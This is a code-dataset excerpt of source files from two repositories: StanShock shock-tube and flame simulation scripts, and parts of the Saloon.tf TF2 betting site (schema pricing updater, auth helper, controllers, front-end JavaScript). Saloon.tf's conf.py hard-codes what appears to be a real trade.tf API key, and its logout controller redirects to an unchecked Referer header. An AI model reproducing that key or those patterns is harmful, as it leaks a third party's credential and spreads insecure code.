stanShock(gas1,initializeRiemannProblem=(state4,state1,geometry),\n boundaryConditions=boundaryConditions, \n cfl=.9,\n outputEvery=100,\n includeBoundaryLayerTerms=True,\n Tw=T1, #assume wall temperature is in thermal eq. with gas\n DInner= DInner, \n DOuter= DOuter,\n dlnAdx=dlnAdx)\nssbl.addProbe(max(ssbl.x)) #end wall probe\nssbl.addXTDiagram(\"p\")\nssbl.addXTDiagram(\"T\")\n\n#adjust for partial filling strategy\nXN2Lower = 0.80 #assume smearing during fill\nXN2Upper = 1.5-XN2Lower\ndx = ssbl.x[1]-ssbl.x[0]\ndV = A(ssbl.x)*dx\nVDriver = np.sum(dV[ssbl.x<xShock])\nV = np.cumsum(dV)\nV -= V[0]/2.0 #center\nVNorms = V/VDriver\n#get gas properties\niHE, iN2 = gas4.species_index(\"HE\"), gas4.species_index(\"N2\")\nfor iX, VNorm in enumerate(VNorms):\n if VNorm<=1.0:\n #nitrogen and helium\n X = np.zeros(gas4.n_species)\n XN2 = XN2Lower+(XN2Upper-XN2Lower)*VNorm\n XHE = 1.0-XN2\n X[[iHE,iN2]] = XHE, XN2 \n gas4.TPX = T4,p4, X\n ssbl.r[iX] = gas4.density\n ssbl.Y[iX,:] = gas4.Y\n ssbl.gamma[iX] = gas4.cp/gas4.cv\n\n#Solve\nt0 = time.clock()\nssbl.advanceSimulation(tFinal)\nt1 = time.clock()\nprint(\"The process took \", t1-t0)\n\n#Solve without boundayr layer model\nboundaryConditions=['reflecting','reflecting']\ngas1.TP = T1,p1\ngas4.TP = T4,p4 \nssnbl = stanShock(gas1,initializeRiemannProblem=(state4,state1,geometry),\n boundaryConditions=boundaryConditions, \n cfl=.9,\n outputEvery=100,\n includeBoundaryLayerTerms=False,\n Tw=T1, #assume wall temperature is in thermal eq. with gas\n DInner= DInner, \n DOuter= DOuter,\n dlnAdx=dlnAdx)\nssnbl.addProbe(max(ssnbl.x)) #end wall probe\nssnbl.addXTDiagram(\"p\")\nssnbl.addXTDiagram(\"T\")\n\n#adjust for partial filling strategy\nXN2Lower = 0.80 #assume smearing during fill\nXN2Upper = 1.5-XN2Lower\ndx = ssnbl.x[1]-ssnbl.x[0]\ndV = A(ssnbl.x)*dx\nVDriver = np.sum(dV[ssnbl.x<xShock])\nV = np.cumsum(dV)\nV -= V[0]/2.0 #center\nVNorms = V/VDriver\n#get gas properties\niHE, iN2 = gas4.species_index(\"HE\"), gas4.species_index(\"N2\")\nfor iX, VNorm in enumerate(VNorms):\n if VNorm<=1.0:\n #nitrogen and helium\n X = np.zeros(gas4.n_species)\n XN2 = XN2Lower+(XN2Upper-XN2Lower)*VNorm\n XHE = 1.0-XN2\n X[[iHE,iN2]] = XHE, XN2 \n gas4.TPX = T4,p4, X\n ssnbl.r[iX] = gas4.density\n ssnbl.Y[iX,:] = gas4.Y\n ssnbl.gamma[iX] = gas4.cp/gas4.cv\n\n#Solve\nt0 = time.clock()\nssnbl.advanceSimulation(tFinal)\nt1 = time.clock()\nprint(\"The process took \", t1-t0)\n\n#import shock tube data\ntExp, pExp = getPressureData(fileName)\ntimeDifference = (18.6-6.40)/1000.0 #difference between the test data and simulation times\ntExp+=timeDifference\n\n#make plots of probe and XT diagrams\nplt.close(\"all\")\nmpl.rcParams['font.size']=fontsize\nplt.rc('text',usetex=True)\nplt.figure(figsize=(4,4))\nplt.plot(np.array(ssnbl.probes[0].t)*1000.0,np.array(ssnbl.probes[0].p)/1.0e5,'k',label=\"$\\mathrm{Without\\ BL\\ Model}$\",linewidth=2.0)\nplt.plot(np.array(ssbl.probes[0].t)*1000.0,np.array(ssbl.probes[0].p)/1.0e5,'r',label=\"$\\mathrm{With\\ BL\\ Model}$\",linewidth=2.0)\nplt.plot(tExp*1000.0,pExp/1.0e5,label=\"$\\mathrm{Experiment}$\",alpha=0.7)\nplt.axis([0,60,0,5])\nplt.xlabel(\"$t\\ [\\mathrm{ms}]$\")\nplt.ylabel(\"$p\\ [\\mathrm{bar}]$\")\nplt.legend(loc=\"lower right\")\nplt.tight_layout()" }, { "alpha_fraction": 0.6721159815788269, "alphanum_fraction": 0.6967921257019043, "avg_line_length": 30.784313201904297, "blob_id": "0fa9df334e77ea8751b1a37b685b1606598230e6", "content_id": "293f35d4b1dbdb73659dffa0ae8c223f268b020b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3242, "license_type": "no_license", "max_line_length": 101, "num_lines": 102, "path": "/laminarFlame/laminarFlame.py", "repo_name": "MinhBauLuong/StanShock", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 30 10:38:47 2018\n\n@author: kevin\n\"\"\"\nimport sys; sys.path.append('../')\nfrom stanShock import stanShock\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\nfrom ignDelay import flameSpeed\nimport time\nimport cantera as ct\n\n#user parameters\nTU=300.0\np = 1e5\nmech = \"Hong.xml\"\ndt=1e-3\nestFlameThickness=1e-2\nntFlowThrough=.1\neps=0.05\nfontsize=12\nf = 0.1 #factor to reduce Cantera domain\n\n\n#find the initial state of the fluids\ngas = ct.Solution(mech)\nunburnedState = TU,p,\"H2:2,O2:1,N2:3.76\"\ngas.TPX = unburnedState\n\n#get the flame thickness\nflameSpeed, flame = flameSpeed(gas,estFlameThickness,returnFlame=True)\nTU, TB = flame.T[0] ,flame.T[-1]\nflameThickness=(TB-TU)/max(np.gradient(flame.T,flame.grid))\n\n#get flame parameters\ngasUnburned = ct.Solution(mech) \ngasUnburned.TPY = flame.T[0], flame.P, flame.Y[:,0]\nuUnburned = flame.u[0]\nunburnedState = gasUnburned, uUnburned\ngasBurned = ct.Solution(mech) \ngasBurned.TPY = flame.T[-1], flame.P, flame.Y[:,-1]\nuBurned = flame.u[-1]\nburnedState = gasBurned, uBurned\n\n\n#set up grid\nnX = flame.grid.shape[0]\nxCenter = flame.grid[np.argmax(np.gradient(flame.T,flame.grid))]\nL = flame.grid[-1] - flame.grid[0]\nxUpper, xLower = xCenter +L*f, xCenter-L*f\n\ngeometry=(nX,xLower,xUpper,(xUpper+xLower)/2.0)\nboundaryConditions = (gasUnburned.density,uUnburned,None,gasUnburned.Y),(None,None,gasBurned.P,None)\nss = stanShock(gas,initializeRiemannProblem=(unburnedState,burnedState,geometry),\n boundaryConditions=boundaryConditions, \n cfl=.9,\n reacting=True,\n includeDiffusion=True,\n outputEvery=10)\n\n#interpolate flame solution\nss.r = np.interp(ss.x,flame.grid,flame.density)\nss.u = np.interp(ss.x,flame.grid,flame.u)\nss.p[:] = flame.P\nfor iSp in range(gas.n_species): \n ss.Y[:,iSp] = np.interp(ss.x,flame.grid,flame.Y[iSp,:])\nT = ss.thermoTable.getTemperature(ss.r,ss.p,ss.Y)\nss.gamma = ss.thermoTable.getGamma(T,ss.Y)\n#calculate the final time\ntFinal = ntFlowThrough*(xUpper-xLower)/(uUnburned+uBurned)*2.0\n\n#Solve\nt0 = time.clock()\nss.advanceSimulation(tFinal)\nt1 = time.clock()\nprint(\"The process took \", t1-t0)\n\n#plot setup\nplt.close(\"all\")\nfont = {'family':'serif', 'serif': ['computer modern roman']}\nplt.rc('font',**font)\nmpl.rcParams['font.size']=fontsize\nplt.rc('text',usetex=True)\n#plot\nplt.plot((flame.grid-xCenter)/flameThickness,flame.T/flame.T[-1],'r',label=\"$T/T_\\mathrm{F}$\")\nT = ss.thermoTable.getTemperature(ss.r,ss.p,ss.Y)\nplt.plot((ss.x-xCenter)/flameThickness,T/flame.T[-1],'r--s')\niOH = gas.species_index(\"OH\")\nplt.plot((flame.grid-xCenter)/flameThickness,flame.Y[iOH,:]*10,'k',label=\"$Y_\\mathrm{OH}\\\\times 10$\")\nplt.plot((ss.x-xCenter)/flameThickness,ss.Y[:,iOH]*10,'k--s')\niO2 = gas.species_index(\"O2\")\nplt.plot((flame.grid-xCenter)/flameThickness,flame.Y[iO2,:],'g',label=\"$Y_\\mathrm{O_2}$\")\nplt.plot((ss.x-xCenter)/flameThickness,ss.Y[:,iO2],'g--s')\niH2 = gas.species_index(\"H2\")\nplt.plot((flame.grid-xCenter)/flameThickness,flame.Y[iH2,:],'b',label=\"$Y_\\mathrm{H_2}$\")\nplt.plot((ss.x-xCenter)/flameThickness,ss.Y[:,iH2],'b--s')\nplt.xlabel(\"$x/\\delta_\\mathrm{F}$\")\nplt.legend(loc=\"best\")\n" }, { "alpha_fraction": 0.5788554549217224, "alphanum_fraction": 0.6444228887557983, "avg_line_length": 31.21875, "blob_id": "71dc4f27da7decbd2e5d8814b62e85c74a203b41", "content_id": "e70ed5ec569e10d72d282b208a79b863e8992cb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5155, "license_type": "no_license", "max_line_length": 85, "num_lines": 160, "path": "/optimization/optimization.py", "repo_name": "MinhBauLuong/StanShock", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 15 14:33:36 2017\n\n@author: kgrogan\n\"\"\"\nimport sys; sys.path.append('../')\nfrom stanShock import stanShock, smoothingFunction, dSFdx\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\nimport time\nimport cantera as ct\nfrom scipy.optimize import newton \n\n\n#parameters\nfontsize = 12\ntFinal = 7.5e-3\np5, p1 = 18*ct.one_atm, 0.48e5\nT5 = 1698.0\ng4 = g1 = 5.0/3.0 #monatomic gas in driver and driven sections\nW4, W1 = 4.002602, 39.948 #Helium and argon\nMachReduction = 0.985 #account for shock wave attenuation\nnXCoarse, nXFine = 200, 1000 #mesh resolution\nLDriver, LDriven = 3.0, 5.0\nDDriver, DDriven = 7.5e-2, 5.0e-2\nplt.close(\"all\") \nmpl.rcParams['font.size']=fontsize\nplt.rc('text',usetex=True)\n\n#set up geometry\nxLower = -LDriver\nxUpper = LDriven\nxShock = 0.0\nDelta = 10*(xUpper-xLower)/float(nXFine)\ngeometry=(nXCoarse,xLower,xUpper,xShock)\nDInner = lambda x: np.zeros_like(x)\ndDInnerdx = lambda x: np.zeros_like(x)\ndef DOuter(x): return smoothingFunction(x,xShock,Delta,DDriver,DDriven)\ndef dDOuterdx(x): return dSFdx(x,xShock,Delta,DDriver,DDriven)\nA = lambda x: np.pi/4.0*(DOuter(x)**2.0-DInner(x)**2.0)\ndAdx = lambda x: np.pi/2.0*(DOuter(x)*dDOuterdx(x)-DInner(x)*dDInnerdx(x))\ndlnAdx = lambda x,t: dAdx(x)/A(x)\n\n#compute the gas dynamics\ndef res(Ms1):\n return p5/p1-((2.0*g1*Ms1**2.0-(g1-1.0))/(g1+1.0))\\\n *((-2.0*(g1-1.0)+Ms1**2.0*(3.0*g1-1.0))/(2.0+Ms1**2.0*(g1-1.0)))\nMs1 = newton(res,2.0)\nMs1*= MachReduction\nT5oT1 = (2.0*(g1-1.0)*Ms1**2.0+3.0-g1)\\\n *((3.0*g1-1.0)*Ms1**2.0-2.0*(g1-1.0))\\\n /((g1+1.0)**2.0*Ms1**2.0)\nT1 = T5/T5oT1\na1oa4 = np.sqrt(W4/W1)\np4op1 = (1.0+2.0*g1/(g1+1.0)*(Ms1**2.0-1.0))\\\n *(1.0-(g4-1.0)/(g4+1.0)*a1oa4*(Ms1-1.0/Ms1))**(-2.0*g4/(g4-1.0))\np4 = p1*p4op1\n\n#set up the gasses\nu1 = 0.0;\nu4 = 0.0; #initially 0 velocity\nmech=\"HeliumArgon.xml\"\ngas1 = ct.Solution(mech)\ngas4 = ct.Solution(mech)\nT4 = T1; #assumed\ngas1.TPX = T1,p1,\"AR:1\" \ngas4.TPX = T4,p4,\"HE:1\"\n\n#set up solver parameters\nboundaryConditions=['reflecting','reflecting']\nstate1 = (gas1,u1)\nstate4 = (gas4,u4)\nss = stanShock(gas1,initializeRiemannProblem=(state4,state1,geometry),\n boundaryConditions=boundaryConditions, \n cfl=.9,\n outputEvery=100,\n includeBoundaryLayerTerms=True,\n Tw=T1, #assume wall temperature is in thermal eq. with gas\n DOuter= DOuter,\n dlnAdx=dlnAdx)\n\n#Solve\nt0 = time.clock()\ntTest = 2e-3\ntradeoffParam=1.0\neps = 0.01**2.0+tradeoffParam*0.01**2.0\nss.optimizeDriverInsert(tFinal,p5=p5,tTest=tTest,tradeoffParam=tradeoffParam,eps=eps)\nt1 = time.clock()\nprint(\"The process took \", t1-t0)\n\n#recalculate at higher resolution with the insert\ngeometry=(nXFine,xLower,xUpper,xShock)\ngas1.TPX = T1,p1,\"AR:1\" \ngas4.TPX = T4,p4,\"HE:1\" \nss = stanShock(gas1,initializeRiemannProblem=(state4,state1,geometry),\n boundaryConditions=boundaryConditions, \n cfl=.9,\n outputEvery=100,\n includeBoundaryLayerTerms=True,\n Tw=T1, #assume wall temperature is in thermal eq. with gas\n DOuter= DOuter,\n DInner= ss.DInner,\n dlnAdx=ss.dlnAdx)\nss.addXTDiagram(\"p\")\nss.addXTDiagram(\"T\")\nss.addProbe(max(ss.x)) #end wall probe\nt0 = time.clock()\nss.advanceSimulation(tFinal)\nt1 = time.clock()\nprint(\"The process took \", t1-t0)\npInsert = np.array(ss.probes[0].p)\ntInsert = np.array(ss.probes[0].t)\nss.plotXTDiagram(ss.XTDiagrams[\"t\"],limits=[200.0,1800.0])\nss.plotXTDiagram(ss.XTDiagrams[\"p\"],limits=[0.5,25])\nxInsert = ss.x\nDOuterInsert = ss.DOuter(ss.x)\nDInnerInsert = ss.DInner(ss.x)\n\n#recalculate at higher resolution without the insert\ngas1.TPX = T1,p1,\"AR:1\" \ngas4.TPX = T4,p4,\"HE:1\" \nss = stanShock(gas1,initializeRiemannProblem=(state4,state1,geometry),\n boundaryConditions=boundaryConditions, \n cfl=.9,\n outputEvery=100,\n includeBoundaryLayerTerms=True,\n Tw=T1, #assume wall temperature is in thermal eq. with gas\n DOuter= DOuter,\n dlnAdx= dlnAdx)\nss.addXTDiagram(\"p\")\nss.addXTDiagram(\"T\")\nss.addProbe(max(ss.x)) #end wall probe\nt0 = time.clock()\nss.advanceSimulation(tFinal)\nt1 = time.clock()\nprint(\"The process took \", t1-t0)\npNoInsert = np.array(ss.probes[0].p)\ntNoInsert = np.array(ss.probes[0].t)\nss.plotXTDiagram(ss.XTDiagrams[\"t\"],limits=[200.0,1800.0])\nss.plotXTDiagram(ss.XTDiagrams[\"p\"],limits=[0.5,25])\n\n#plot\nplt.figure()\nplt.plot(tNoInsert/1e-3,pNoInsert/1e5,'k',label=\"$\\mathrm{No\\ Insert}$\")\nplt.plot(tInsert/1e-3,pInsert/1e5,'r',label=\"$\\mathrm{Optimized\\ Insert}$\")\nplt.xlabel(\"$t\\ [\\mathrm{ms}]$\")\nplt.ylabel(\"$p\\ [\\mathrm{bar}]$\")\nplt.legend(loc=\"best\")\nplt.tight_layout()\n\nplt.figure()\nplt.plot(xInsert,DOuterInsert,'k',label=\"$D_\\mathrm{o}$\")\nplt.plot(xInsert,DInnerInsert,'r',label=\"$D_\\mathrm{i}$\")\nplt.xlabel(\"$x\\ [\\mathrm{m}]$\")\nplt.ylabel(\"$D\\ [\\mathrm{m}]$\")\nplt.legend(loc=\"best\")\nplt.tight_layout()\n" } ]
7
shaunidiot/Saloon.tf
https://github.com/shaunidiot/Saloon.tf
a6a6ff44b113c45f4d60b6002a3acb1be6306554
b58c232cb01d35094b8b101bed40e405496afbff
fef2bb32378e9a37ee566bcc9ad2c416e7c84a7f
refs/heads/master
2017-10-08T12:09:36.452750
2015-05-20T18:46:49
2015-05-20T18:46:49
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5767379403114319, "alphanum_fraction": 0.590025007724762, "avg_line_length": 31.66666603088379, "blob_id": "4f4e20bf46ff3d1c74b33f727ede1df72246cd73", "content_id": "af10eb8c9ce4fd5a7ff102ba5d401eae28be3003", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5193, "license_type": "no_license", "max_line_length": 190, "num_lines": 159, "path": "/Daemon/SchemaHandler.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import requests, shutil\nimport time\nimport random\n\nfrom collections import defaultdict\nfrom sqlalchemy import and_\n\nimport conf\nimport database as db\n\nclass Handler(object):\n def __init__(self, SteamHandlers):\n self.SteamHandlers = SteamHandlers\n self.load()\n\n def load(self):\n self.items = []\n with db.SessionScope() as Session:\n RItems = Session.query(db.Items).order_by(db.Items.type, db.Items.quality, db.Items.value.desc()).all()\n for RItem in RItems:\n self.items.append(RItem.to_dict())\n return self.items\n\n def getItems(self, filters):\n filteredItems = []\n for item in self.items:\n for itemFilters in filters:\n for filterCriteria, filterValue in itemFilters.items():\n if item[filterCriteria] != filterValue:\n break\n if item in filteredItems:\n break\n else:\n filteredItems.append(item)\n\n return filteredItems\n\n def update(self):\n Bot = random.choice(self.SteamHandlers.values()).Bot\n\n itemSchema = Bot.api(\"IEconItems_440/GetSchema/v0001\", {})\n itemSchema = itemSchema[u\"result\"][u\"items\"]\n\n response = requests.get(\"http://www.trade.tf/api/spreadsheet.json?key=%s\" % (conf.tradeAPI), timeout=60.0).json()\n itemUnits = response[u\"units\"]\n itemPrices = response[u\"items\"]\n\n types = {\n 143: 1,\n 5021: 2,\n 5002: 5,\n 5001: 5,\n 5000: 5,\n }\n\n currency = {}\n currency[\"r\"] = {\n \"defindex\": 5002,\n \"value\": 9\n }\n\n currency[\"k\"] = {\n \"defindex\": 5021,\n \"value\": round(itemUnits[u\"k\"] * currency[\"r\"][\"value\"])\n }\n\n currency[\"b\"] = {\n \"defindex\": 143,\n \"value\": round(itemUnits[u\"b\"] * currency[\"k\"][\"value\"])\n }\n\n prices = defaultdict(dict)\n for defindex, itemsGroup in itemPrices.items():\n defindex = int(defindex)\n\n for quality, item in itemsGroup.items():\n if item[u\"regular\"][u\"unsure\"]:\n continue\n\n quality = int(quality)\n if quality in [1,3,6]:\n value = item[u\"regular\"][u\"mid\"] * currency[item[u\"regular\"][u\"unit\"]][u\"value\"]\n if value >= 1.0 and value <= currency[\"b\"][\"value\"]:\n prices[defindex][quality] = {\n \"value\": int(value),\n \"updated\": int(time.time())\n }\n\n with db.SessionScope() as Session:\n for item in itemSchema:\n defindex = item[u\"defindex\"]\n if defindex not in prices:\n continue\n\n if defindex in types:\n kind = types[defindex]\n elif u\"craft_class\" in item and item[u\"craft_class\"] == u\"hat\":\n kind = 3\n elif u\"tool\" in item and item[u\"tool\"][u\"type\"] == u\"paint_can\":\n kind = 4\n else:\n continue\n\n for quality, price in prices[defindex].items():\n filteredItems = self.getItems([{\"defindex\": defindex, \"quality\": quality}])\n if filteredItems:\n if filteredItems[0][\"value\"] == price[\"value\"]:\n continue\n\n RItem = Session.query(db.Items).filter(and_(db.Items.defindex == defindex, db.Items.quality == quality)).first()\n Bot.log(\"%s updated from %d to %d\" % (item[u\"name\"], RItem.value, price[\"value\"]))\n RItem.value = price[\"value\"]\n RItem.timestamp = price[\"updated\"]\n continue\n else:\n Bot.log(\"Downloading image for %s\" % defindex)\n imagePath = \"../Website/website/public/images/items/\" + str(defindex) + \".png\"\n image = requests.get(item[u\"image_url\"], stream=True)\n with open(imagePath, \"wb\") as f:\n shutil.copyfileobj(image.raw, f)\n RItem = db.Items(description = item[u\"name\"], value = price[\"value\"], defindex = defindex, type = kind, quality = quality, timestamp = price[\"updated\"])\n Session.add(RItem)\n Bot.log(\"%s added.\" % item[u\"name\"])\n\n self.load()\n\n RMatches = db.Session.query(db.Matches) \\\n .filter(db.Matches.status < 3) \\\n .all()\n\n RMatches = dict(zip([RMatch.id for RMatch in RMatches], RMatches))\n for RMatch in RMatches.values():\n RMatch.BetsTotal1.value = 0\n RMatch.BetsTotal2.value = 0\n\n RBets = db.Session.query(db.Bets) \\\n .join(db.Bets.Match) \\\n .filter(db.Matches.status < 3) \\\n .all()\n\n RBets = dict(zip([RBet.id for RBet in RBets], RBets))\n for RBet in RBets.values():\n RBet.value = 0\n\n RItemsBet = Session.query(db.ItemsBet) \\\n .filter(and_(db.ItemsBet.bet.in_(RBets.keys()), db.ItemsBet.origin == 0)) \\\n .all()\n\n RItemsBet = sorted(RItemsBet, key = lambda RItemBet: (RItemBet.origin * -1, RItemBet.ItemInstance.Item.type, RItemBet.ItemInstance.Item.quality, RItemBet.ItemInstance.Item.value * -1))\n\n for RItemBet in RItemsBet:\n RBet = RBets[RItemBet.bet]\n RMatch = RMatches[RBet.match]\n\n RBet.value = RBet.value + RItemBet.ItemInstance.Item.value\n if RBet.team == RMatch.team1:\n RMatch.BetsTotal1.value = RMatch.BetsTotal1.value + RItemBet.ItemInstance.Item.value\n else:\n RMatch.BetsTotal2.value = RMatch.BetsTotal2.value + RItemBet.ItemInstance.Item.value" }, { "alpha_fraction": 0.6790697574615479, "alphanum_fraction": 0.7046511769294739, "avg_line_length": 24.294116973876953, "blob_id": "e1913cd790c0eb66dd26a7cdb5a705535d995efa", "content_id": "9b7ec3969e85fdc22312d66c0ed84966d4f886d3", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 430, "license_type": "no_license", "max_line_length": 57, "num_lines": 17, "path": "/Website/website/lib/auth.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "from pylons import session\nimport uuid, json, socket\nfrom random import randrange\nfrom sqlalchemy import func\nfrom website.lib.base import Session\nimport database as db\n\ndef Auth(userID):\n UUID = str(uuid.uuid4())\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((\"127.0.0.1\", 9002))\n s.send(json.dumps([\"auth\", userID, UUID]))\n s.close()\n except Exception, e:\n return False\n return UUID\n" }, { "alpha_fraction": 0.7690140604972839, "alphanum_fraction": 0.7690140604972839, "avg_line_length": 24.428571701049805, "blob_id": "b7169f01801e37d7437ab512fad17a1e321119c8", "content_id": "1ff73e5c5703580b3268f80e987b03b687f0d1b7", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 355, "license_type": "no_license", "max_line_length": 69, "num_lines": 14, "path": "/Website/website/controllers/message.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging\n\nfrom pylons import request, response, session, tmpl_context as c, url\nfrom pylons.controllers.util import abort, redirect\n\nfrom website.lib.base import BaseController, render\n\nlog = logging.getLogger(__name__)\n\nclass MessageController(BaseController):\n\n def index(self):\n # Return a rendered template\n return render(\"/message.mako\")" }, { "alpha_fraction": 0.7657992839813232, "alphanum_fraction": 0.7695167064666748, "avg_line_length": 66.25, "blob_id": "d1c66a3bef81af4a14d6e6eed79641c910cc41c1", "content_id": "ada7c12f3ef4ba36ccf8b0333e9eca4b8bf5a3a1", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 269, "license_type": "no_license", "max_line_length": 247, "num_lines": 4, "path": "/README.md", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "Saloon.tf\n=========\n\nThis repo is no longer being maintained in order to protect our security features. If you are a developer with a good reputation and long history on GitHub or valued member of TF2 community don't hesistate to write me if you wish to view the code.\n" }, { "alpha_fraction": 0.7105719447135925, "alphanum_fraction": 0.7105719447135925, "avg_line_length": 26.4761905670166, "blob_id": "2884d7baa491e2f2509f9a43741b70ba89b331af", "content_id": "578fc52709ad4148a2ce431b9b43aebb84542eea", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 577, "license_type": "no_license", "max_line_length": 69, "num_lines": 21, "path": "/Website/website/controllers/logout.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging\n\nfrom pylons import request, response, session, tmpl_context as c, url\nfrom pylons.controllers.util import abort, redirect\n\nfrom website.lib.base import BaseController, render\n\nlog = logging.getLogger(__name__)\n\nclass LogoutController(BaseController):\n\n def index(self):\n # Return a rendered template\n #return render('/logout.mako')\n # or, return a string\n if \"steamid\" in session:\n steamID = session[\"steamid\"]\n del session[\"steamid\"]\n session[\"osteamid\"] = steamID\n session.save()\n return redirect(request.headers[\"Referer\"])\n" }, { "alpha_fraction": 0.6111111044883728, "alphanum_fraction": 0.6111111044883728, "avg_line_length": 18, "blob_id": "5ac9769edfd8e566fd15d385dfd87b8c87a47ea8", "content_id": "df2619aa351513bb4a2e64f894c9c87df162bc44", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18, "license_type": "no_license", "max_line_length": 18, "num_lines": 1, "path": "/Daemon/conf.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "tradeAPI = \"fc149776741183528c54d9816ff5cf3d\"" }, { "alpha_fraction": 0.503920316696167, "alphanum_fraction": 0.509056031703949, "avg_line_length": 39.02786636352539, "blob_id": "f5c46059d9576d58a3b44c8ef324154362629830", "content_id": "293f920c4ad0ed5cccd43ac9d1a1358fdc2a9694", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 87621, "license_type": "no_license", "max_line_length": 962, "num_lines": 2189, "path": "/Website/website/grunt/js/app.js", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "(function() {\n $(function() {\n jQuery.fn.extend({\n cssAnimation: function(type, callback) {\n return this.each(function() {\n $(this).addClass(\"animated \" + type);\n $(this).one(\"webkitAnimationEnd oanimationend msAnimationEnd animationend\", function() {\n $(this).removeClass(\"animated \" + type);\n if (callback) {\n callback();\n }\n });\n });\n },\n inlineAnimation: function(transform, restore, callback) {\n return this.each(function() {\n var newCSS, oldCSS;\n $(this).addClass(\"animated\");\n oldCSS = $(this).css(\"transform\");\n newCSS = oldCSS !== \"none\" ? oldCSS + \" \" + transform : transform;\n $(this).css({\n \"-webkit-transform\": newCSS,\n \"-ms-transform\": newCSS,\n \"transform\": newCSS\n });\n $(this).on(\"webkitTransitionEnd ontransitionend msTransitionEnd transitionend\", function() {\n $(this).removeClass(\"animated\");\n if (restore) {\n $(this).css({\n \"-webkit-transform\": oldCSS,\n \"-ms-transform\": oldCSS,\n \"transform\": oldCSS\n });\n }\n if (callback) {\n console.log(callback);\n callback();\n }\n });\n });\n },\n moveAnimation: function(direction, distance, restore, callback) {\n var axis, translate;\n if (direction === \"up\" || direction === \"down\") {\n axis = \"Y\";\n if (direction === \"up\") {\n distance *= -1;\n }\n } else {\n axis = \"X\";\n if (direction === \"left\") {\n distance *= -1;\n }\n }\n translate = \"translate\" + axis + \"(\" + distance + \"px)\";\n return $(this).inlineAnimation(translate, restore, callback);\n },\n filterAnimation: function(filter, remove, callback) {\n return this.each(function() {\n var oldCSS;\n $(this).addClass(\"animated\");\n oldCSS = $(this).css(\"filter\");\n $(this).css({\n \"-webkit-filter\": filter,\n \"-ms-filter\": filter,\n \"filter\": filter\n });\n $(this).on(\"webkitTransitionEnd ontransitionend msTransitionEnd transitionend\", function() {\n $(this).removeClass(\"animated\");\n if (remove) {\n $(this).css({\n \"-webkit-filter\": oldCSS,\n \"-ms-filter\": oldCSS,\n \"filter\": oldCSS\n });\n if (callback) {\n callback();\n }\n }\n });\n });\n }\n });\n });\n\n}).call(this);\n\n(function() {\n $(function() {\n $(document).on('page:before-unload', function() {});\n $(document).on('page:load page:restore', function() {\n var addItem, bet, betItemHandler, bot, confirmBet, items, limit, logElements, logTimers, makeBet, match, path, payout, removeItem, sendBet, team, teams, userItemHandler;\n path = window.location.pathname.split(\"/\");\n if (path[1] === \"match\") {\n $(\".offers\").removeClass(\"hide\");\n $(\".bet:not(.bet-new)\").removeClass(\"hide\");\n match = path[2];\n team = void 0;\n teams = $(\"meta[data-teams]\").data(\"teams\");\n limit = void 0;\n items = 0;\n bot = void 0;\n bet = false;\n payout = false;\n logTimers = [];\n logElements = [];\n userItemHandler = function() {\n var $betItem, originID;\n if ($(this).hasClass(\"steam-item-disabled\")) {\n originID = $(this).data(\"originid\");\n removeItem(originID);\n } else {\n if (limit > 0) {\n $betItem = $(this).clone();\n $betItem.on(\"click\", betItemHandler);\n $(this).popover(\"destroy\");\n window.initializePopover($betItem);\n addItem($betItem);\n $(this).addClass(\"steam-item-disabled\");\n }\n }\n };\n betItemHandler = function() {\n var originID;\n originID = $(this).data(\"originid\");\n return removeItem(originID);\n };\n addItem = function($item) {\n var $inventory, success;\n $inventory = $(\".bet-inventory .inventory\");\n success = false;\n $inventory.find(\".steam-item.select\").each(function() {\n if ($(this).data(\"index\") > $item.data(\"index\")) {\n $item.insertBefore($(this));\n success = true;\n return false;\n }\n });\n if (!success) {\n $(\".bet-inventory .inventory\").append($item);\n }\n limit -= 1;\n items += 1;\n if (items === 1) {\n $(\".btn-bet-send\").removeClass(\"disabled\");\n }\n };\n removeItem = function(originID) {\n var $betItem, $inventoryItem;\n $inventoryItem = $(\".user-inventory [data-originid=\" + originID + \"]\");\n $betItem = $(\".bet-inventory [data-originid=\" + originID + \"]\");\n $(\".popover\").remove();\n $inventoryItem.removeClass(\"steam-item-disabled\");\n window.initializePopover($inventoryItem);\n $betItem.remove();\n limit += 1;\n items -= 1;\n if (items === 0) {\n $(\".btn-bet-send\").addClass(\"disabled\");\n }\n };\n makeBet = function(team, match, limit, animation) {\n var json;\n bet = true;\n payout = false;\n $(\".btn-inventory\").addClass(\"disabled\");\n $(\".panel.bet-new .team-name\").text(teams[team][\"name\"]);\n 